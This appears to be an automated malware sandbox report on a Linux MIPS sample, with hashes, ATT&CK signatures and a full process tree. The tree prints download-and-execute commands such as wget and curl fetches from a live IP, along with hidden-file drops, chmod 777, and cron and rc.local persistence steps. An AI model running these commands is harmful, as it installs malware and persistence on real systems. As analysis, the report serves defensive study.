fb3a0612cac76db0c46463cd7310e23099c1b7bf124654ef8cd2a5cc02e7bc91

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/10/2026, 22:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
32344b4b5100bb87793cda86c5ef47ff
Size 2KB
Sample261011-18c2yaaa45
SHA256 fb3a0612cac76db0c46463cd7310e23099c1b7bf124654ef8cd2a5cc02e7bc91
MD5 32344b4b5100bb87793cda86c5ef47ff
SHA1 6c565f3414e63c6464ee8b139368d3a7109946f1
SHA512 44f82a1d71627a0b3f83ee00129c68c8036c8b41b3985ef560a6164b7b1d118a866bbe4ba575ca23dafeebd0ce6e105ca92ce754c917cc91eb3a32a51ad1d618
TLSH
T16C51F8F1F8B89A78B8099438720E21A1CF435C3B99923884908BED70719C2ACF03DF31
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Extracted

Credentials

Protocol
ftp
Host
23.81.118.40
Port
21
Username
anonymous

Signatures

Contacts a large (771) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
751	chmod
875	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/.w	750	setsid
/dev/shm/.w	748	setsid
/dev/shm/.t	752	32344b4b5100bb87793cda86c5ef47ff
/dev/shm/.w	749	nohup
/dev/shm/.e	876	32344b4b5100bb87793cda86c5ef47ff

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.F0zGo7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	32344b4b5100bb87793cda86c5ef47ff

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/.e	cp

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/72/stat	ps
File opened for reading	/proc/707/stat	ps
File opened for reading	/proc/69/cmdline	ps
File opened for reading	/proc/77/status	ps
File opened for reading	/proc/723/stat	ps
File opened for reading	/proc/770/stat	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/176/stat	ps
File opened for reading	/proc/387/status	ps
File opened for reading	/proc/712/cmdline	ps
File opened for reading	/proc/75/stat	ps
File opened for reading	/proc/339/stat	ps
File opened for reading	/proc/370/status	ps
File opened for reading	/proc/422/stat	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/336/cmdline	ps
File opened for reading	/proc/707/cmdline	ps
File opened for reading	/proc/716/status	ps
File opened for reading	/proc/719/cmdline	ps
File opened for reading	/proc/769/cmdline	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/252/cmdline	ps
File opened for reading	/proc/705/cmdline	ps
File opened for reading	/proc/713/stat	ps
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/110/status	ps
File opened for reading	/proc/236/status	ps
File opened for reading	/proc/384/cmdline	ps
File opened for reading	/proc/707/status	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/77/cmdline	ps
File opened for reading	/proc/369/cmdline	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/680/stat	ps
File opened for reading	/proc/749/status	ps
File opened for reading	/proc/743/stat	ps
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/74/cmdline	ps
File opened for reading	/proc/714/cmdline	ps
File opened for reading	/proc/834/status	ps
File opened for reading	/proc/384/status	ps
File opened for reading	/proc/770/status	ps
File opened for reading	/proc/674/status	ps
File opened for reading	/proc/681/cmdline	ps
File opened for reading	/proc/336/stat	ps
File opened for reading	/proc/723/status	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/81/status	ps
File opened for reading	/proc/159/cmdline	ps
File opened for reading	/proc/382/stat	ps
File opened for reading	/proc/768/status	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/36/stat	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/9/cmdline	ps

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
839	wget
840	wget
842	busybox
847	busybox
853	curl
864	wget

Writes file to shm directory 7 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.e	curl
File opened for modification	/dev/shm/.e	wget
File opened for modification	/dev/shm/.cr	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/dev/shm/.w	cp
File opened for modification	/dev/shm/.t	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/dev/shm/.e	wget
File opened for modification	/dev/shm/.e	wget

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	curl
File opened for modification	/tmp/.w	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	busybox
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget

/tmp/32344b4b5100bb87793cda86c5ef47ff
/tmp/32344b4b5100bb87793cda86c5ef47ff
1⤵
- Executes dropped EXE
- Modifies rc script
- Writes file to shm directory
- Writes file to tmp directory
PID:716
- /usr/bin/wget
  wget http://138.124.59.179/z -O .z
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/busybox
  busybox wget http://138.124.59.179/z -O .z
  2⤵
  - Writes file to tmp directory
  PID:731
- /usr/bin/curl
  curl -s http://138.124.59.179/z -o .z
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 .w
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /bin/cp
  cp .w /dev/shm/.w
  2⤵
  - Reads runtime system information
  - Writes file to shm directory
  PID:747
- /usr/bin/setsid
  setsid /dev/shm/.w
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/setsid
  setsid ./.w
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/chmod
  chmod 777 .t
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/.w
  ./.w
  2⤵
  PID:750
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:754
- - /bin/sleep
    sleep 20
    3⤵
    PID:769
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1012
- - /bin/sleep
    sleep 20
    3⤵
    PID:1015
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1021
- - /bin/sleep
    sleep 20
    3⤵
    PID:1024
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1040
- - /bin/sleep
    sleep 20
    3⤵
    PID:1041
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1046
- - /bin/sleep
    sleep 20
    3⤵
    PID:1047
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1052
- - /bin/sleep
    sleep 20
    3⤵
    PID:1053
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1058
- - /bin/sleep
    sleep 20
    3⤵
    PID:1059
- /dev/shm/.w
  /dev/shm/.w
  2⤵
  PID:748
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:753
- - /bin/sleep
    sleep 20
    3⤵
    PID:768
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1013
- - /bin/sleep
    sleep 20
    3⤵
    PID:1017
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1023
- - /bin/sleep
    sleep 20
    3⤵
    PID:1025
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1042
- - /bin/sleep
    sleep 20
    3⤵
    PID:1043
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1048
- - /bin/sleep
    sleep 20
    3⤵
    PID:1049
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1054
- - /bin/sleep
    sleep 20
    3⤵
    PID:1055
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1060
- - /bin/sleep
    sleep 20
    3⤵
    PID:1061
- /usr/bin/nohup
  nohup /dev/shm/.w
  2⤵
  - Executes dropped EXE
  PID:749
- /dev/shm/.t
  ./.t
  2⤵
  PID:752
- /dev/shm/.w
  /dev/shm/.w
  2⤵
  PID:749
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:756
- - /bin/sleep
    sleep 20
    3⤵
    PID:770
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1014
- - /bin/sleep
    sleep 20
    3⤵
    PID:1016
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1022
- - /bin/sleep
    sleep 20
    3⤵
    PID:1026
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1044
- - /bin/sleep
    sleep 20
    3⤵
    PID:1045
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1050
- - /bin/sleep
    sleep 20
    3⤵
    PID:1051
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1056
- - /bin/sleep
    sleep 20
    3⤵
    PID:1057
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1062
- - /bin/sleep
    sleep 20
    3⤵
    PID:1063
- /bin/rm
  rm -f .t
  2⤵
  PID:755
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:757
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:758
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:759
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:760
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:761
- /bin/readlink
  readlink /proc/126/exe
  2⤵
  PID:762
- /bin/readlink
  readlink /proc/127/exe
  2⤵
  PID:763
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:764
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:765
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:766
- /bin/readlink
  readlink /proc/150/exe
  2⤵
  PID:767
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:771
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:772
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:773
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:774
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:775
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:776
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:777
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:778
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:779
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:780
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:781
- /bin/readlink
  readlink /proc/236/exe
  2⤵
  PID:782
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:783
- /bin/readlink
  readlink /proc/252/exe
  2⤵
  PID:784
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:785
- /bin/readlink
  readlink /proc/336/exe
  2⤵
  PID:786
- /bin/readlink
  readlink /proc/339/exe
  2⤵
  PID:787
- /bin/readlink
  readlink /proc/342/exe
  2⤵
  PID:788
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:789
- /bin/readlink
  readlink /proc/369/exe
  2⤵
  PID:790
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:791
- /bin/readlink
  readlink /proc/370/exe
  2⤵
  PID:792
- /bin/readlink
  readlink /proc/382/exe
  2⤵
  PID:793
- /bin/readlink
  readlink /proc/384/exe
  2⤵
  PID:794
- /bin/readlink
  readlink /proc/387/exe
  2⤵
  PID:795
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:796
- /bin/readlink
  readlink /proc/422/exe
  2⤵
  PID:797
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:798
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:799
- /bin/readlink
  readlink /proc/671/exe
  2⤵
  PID:800
- /bin/readlink
  readlink /proc/674/exe
  2⤵
  PID:801
- /bin/readlink
  readlink /proc/677/exe
  2⤵
  PID:802
- /bin/readlink
  readlink /proc/680/exe
  2⤵
  PID:803
- /bin/readlink
  readlink /proc/681/exe
  2⤵
  PID:804
- /bin/readlink
  readlink /proc/69/exe
  2⤵
  PID:805
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:806
- /bin/readlink
  readlink /proc/705/exe
  2⤵
  PID:807
- /bin/readlink
  readlink /proc/707/exe
  2⤵
  PID:808
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:809
- /bin/readlink
  readlink /proc/712/exe
  2⤵
  PID:810
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:811
- /bin/readlink
  readlink /proc/714/exe
  2⤵
  PID:812
- /bin/readlink
  readlink /proc/716/exe
  2⤵
  PID:813
- /bin/readlink
  readlink /proc/719/exe
  2⤵
  PID:814
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:815
- /bin/readlink
  readlink /proc/723/exe
  2⤵
  PID:816
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:817
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:818
- /bin/readlink
  readlink /proc/743/exe
  2⤵
  PID:819
- /bin/readlink
  readlink /proc/748/exe
  2⤵
  PID:820
- /bin/readlink
  readlink /proc/749/exe
  2⤵
  PID:821
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:822
- /bin/readlink
  readlink /proc/750/exe
  2⤵
  PID:823
- /bin/readlink
  readlink /proc/753/exe
  2⤵
  PID:824
- /bin/readlink
  readlink /proc/754/exe
  2⤵
  PID:825
- /bin/readlink
  readlink /proc/756/exe
  2⤵
  PID:826
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:827
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:828
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:829
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:830
- /bin/readlink
  readlink /proc/81/exe
  2⤵
  PID:831
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:832
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:833
- /bin/grep
  grep -v grep
  2⤵
  PID:835
- /bin/grep
  grep "/[.]e "
  2⤵
  PID:836
- /bin/ps
  ps w
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:834
- /bin/uname
  uname -m
  2⤵
  PID:837
- /bin/rm
  rm -f .e
  2⤵
  PID:838
- /usr/bin/wget
  wget http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:839
- /usr/bin/wget
  wget -q http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:840
- /bin/busybox
  busybox wget http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  PID:842
- /bin/busybox
  busybox wget -q http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  PID:847
- /usr/bin/curl
  curl -so .e http://138.124.59.179/hb_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:853
- /usr/bin/wc
  wc -c
  2⤵
  PID:860
- /bin/rm
  rm -f .e
  2⤵
  PID:861
- /bin/rm
  rm -f .e
  2⤵
  PID:863
- /usr/bin/wget
  wget http://138.124.59.179/cegg_mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:864
- /usr/bin/wc
  wc -c
  2⤵
  PID:874
- /bin/chmod
  chmod 777 .e
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /bin/sleep
  sleep 8
  2⤵
  PID:877
- /dev/shm/.e
  ./.e 138.124.59.179
  2⤵
  PID:876
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:937
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:938
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:939
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:940
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:941
- /bin/readlink
  readlink /proc/126/exe
  2⤵
  PID:942
- /bin/readlink
  readlink /proc/127/exe
  2⤵
  PID:943
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:944
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:945
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:946
- /bin/readlink
  readlink /proc/150/exe
  2⤵
  PID:947
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:948
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:949
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:950
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:951
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:952
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:953
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:954
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:955
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:956
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:957
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:958
- /bin/readlink
  readlink /proc/236/exe
  2⤵
  PID:959
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:960
- /bin/readlink
  readlink /proc/252/exe
  2⤵
  PID:961
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:962
- /bin/readlink
  readlink /proc/336/exe
  2⤵
  PID:963
- /bin/readlink
  readlink /proc/339/exe
  2⤵
  PID:964
- /bin/readlink
  readlink /proc/342/exe
  2⤵
  PID:965
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:966
- /bin/readlink
  readlink /proc/369/exe
  2⤵
  PID:967
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:968
- /bin/readlink
  readlink /proc/370/exe
  2⤵
  PID:969
- /bin/readlink
  readlink /proc/382/exe
  2⤵
  PID:970
- /bin/readlink
  readlink /proc/384/exe
  2⤵
  PID:971
- /bin/readlink
  readlink /proc/387/exe
  2⤵
  PID:972
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:973
- /bin/readlink
  readlink /proc/422/exe
  2⤵
  PID:974
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:975
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:976
- /bin/readlink
  readlink /proc/671/exe
  2⤵
  PID:977
- /bin/readlink
  readlink /proc/674/exe
  2⤵
  PID:978
- /bin/readlink
  readlink /proc/677/exe
  2⤵
  PID:979
- /bin/readlink
  readlink /proc/680/exe
  2⤵
  PID:980
- /bin/readlink
  readlink /proc/681/exe
  2⤵
  PID:981
- /bin/readlink
  readlink /proc/69/exe
  2⤵
  PID:982
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:983
- /bin/readlink
  readlink /proc/705/exe
  2⤵
  PID:984
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:985
- /bin/readlink
  readlink /proc/712/exe
  2⤵
  PID:986
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:987
- /bin/readlink
  readlink /proc/714/exe
  2⤵
  PID:988
- /bin/readlink
  readlink /proc/716/exe
  2⤵
  PID:989
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:990
- /bin/readlink
  readlink /proc/723/exe
  2⤵
  PID:991
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:992
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:993
- /bin/readlink
  readlink /proc/748/exe
  2⤵
  PID:994
- /bin/readlink
  readlink /proc/749/exe
  2⤵
  PID:995
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:996
- /bin/readlink
  readlink /proc/750/exe
  2⤵
  PID:997
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:998
- /bin/readlink
  readlink /proc/768/exe
  2⤵
  PID:999
- /bin/readlink
  readlink /proc/769/exe
  2⤵
  PID:1000
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:1001
- /bin/readlink
  readlink /proc/770/exe
  2⤵
  PID:1002
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:1003
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1004
- /bin/readlink
  readlink /proc/81/exe
  2⤵
  PID:1005
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:1006
- /bin/readlink
  readlink /proc/878/exe
  2⤵
  PID:1007
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1008
- /bin/cp
  cp .e /usr/bin/.e
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:1009
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1010
- /usr/bin/crontab
  crontab .cr
  2⤵
  - Creates/modifies Cron job
  PID:1011

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cr

Path /dev/shm/.cr
Size 41B
SHA256 056b86c29ac9ff4f4ec064a9b192a028d9239d6f0bd381bafb708d2ac7c5dc11
MD5 da081a7fb2abba5eaf318bdead339312
SHA1 9f1605e8feee013e62226235c476338f3e4fab2e
SHA512 8f5eaa4efb581d248f095d4f280f771dcc0947385c85a0ac31693bf56bd9f9eea8e619f18d3068a4aa5696f2d15809a537d20f52584cfbcbd3fa2e37bfcb485d
MD5 SHA1 SHA512

Submit Download

Path /dev/shm/.e
Size 9B
SHA256 907ba78b4545338d3539683e63ecb51cf51c10adc9dabd86e92bd52339f298b9
MD5 d8f4a1993546cc4b850cde3599e27aec
SHA1 094b763b4cfcc0b05e5d040581cd513c3ca08067
SHA512 7c696247f98aa6fe4e1df001fd6029abbbccf45b122d65dfdede8f8a400cda775387c657f96bd1e4e52da7409187892b1f0786c54d835d2e44227b2e1335eaf6
MD5 SHA1 SHA512

Submit Download

Path /dev/shm/.e
Size 629KB
SHA256 ece6c173ff26f6c1b4229eac42ef2afba0e685368a135050a7c4e77f703e842e
MD5 f8937e465f38231867eeb73547505fae
SHA1 6f70f6dd5a4dd836d138408d932666bdc0f89cdf
SHA512 de09919656fe005b16c1f2ebaf1c7467392c1b37c664782c70b9c7dd58fbda1a0341c5c6564f0647d3e2fc6625aeaf980e054001beb8370edb78444d6ef72af8
SSDEEP 12288:eFk4MziWfNJ9ybdroK2qDE4LzBOvAm8EDJaXX3cza4yK38pb55cmz:sk4MziWfNGVE4LzBOdJaH3cG4yJ5f
TLSH
T1D0D47C5377218FA4E355D67005F38B259A9421A30AF354C6A3BCC620BA51B2D6C6FFF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /dev/shm/.t
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 29B
SHA256 e2b20fa565406cf29aa14fadf2e4cd3057ec064380a89978747c26f7bb40e290
MD5 12a0d933d141a6f5ebbf7f432920ac1f
SHA1 f67d3ab2909ab59e23248c5b51f4b6d84df1007a
SHA512 d351c1a8257326ebabaa3bedd0014db3f97586fbf0205cbde2ec205a778c8d8dcd9ccad1fb7acd23fa09398a28d8c6489f487be15b39f225a28a348ff7de19fb
MD5 SHA1 SHA512

Submit Download

Path /tmp/.w
Size 132B
SHA256 13e193b2029a67f96b06676bd88ae3d5fa288f8b3e80e74cfce46cae183b9d1e
MD5 c6439454981d708495cce0c1804acfdc
SHA1 037af79c7342f915d8564a32db75b4f9e57b5d60
SHA512 993b8e40ed7dd16f992932b5f9dc72cc1f920a826296318c3ae1d70b6ea9cee8a5978b8a34b6bbf6dab752d8b11f686283bcea422709da67ad931a85051f62b6
TLSH
T11FC08CEDE0008035CC84C7703094C418441841E218AD4EB98ED448A13828700B186BC8
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.z
Size 3B
SHA256 dc51b8c96c2d745df3bd5590d990230a482fd247123599548e0632fdbf97fc22
MD5 eff5bc1ef8ec9d03e640fc4370f5eacd
SHA1 92a949fd41844e1bb8c6812cdea102708fde23a4
SHA512 672f8ff4ae8530de295f9dd963724947841e6277edec3b21820b5e44d0a64baef90fb04e22048028453d715f79357acc5bd2d566fe6ede65f981ba3dda06bae4
MD5 SHA1 SHA512

Submit Download

tmp.F0zGo7

Path /var/spool/cron/crontabs/tmp.F0zGo7
Size 218B
SHA256 df8f43a00d5a13d909ea69511e44e5d60c18d41da77f512f82bf5ce8f4531992
MD5 46147e881433eb3a96b6447786d9e6d4
SHA1 92e7eb7fd153c75229a6697cb8394714845dfd3e
SHA512 dac41de1d719446b821cfd41d728ef4fa636825d7259b7e1bb2b6f0ad58356b1579c978905848b11f808e1ab3c9898e4457f61d4534bf5df30926f7a8c741c19
TLSH
T17DD0233E6B906C74754017A5735E052E5A43E07CC45DDE10D1DD1014121D70B7FA1571
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads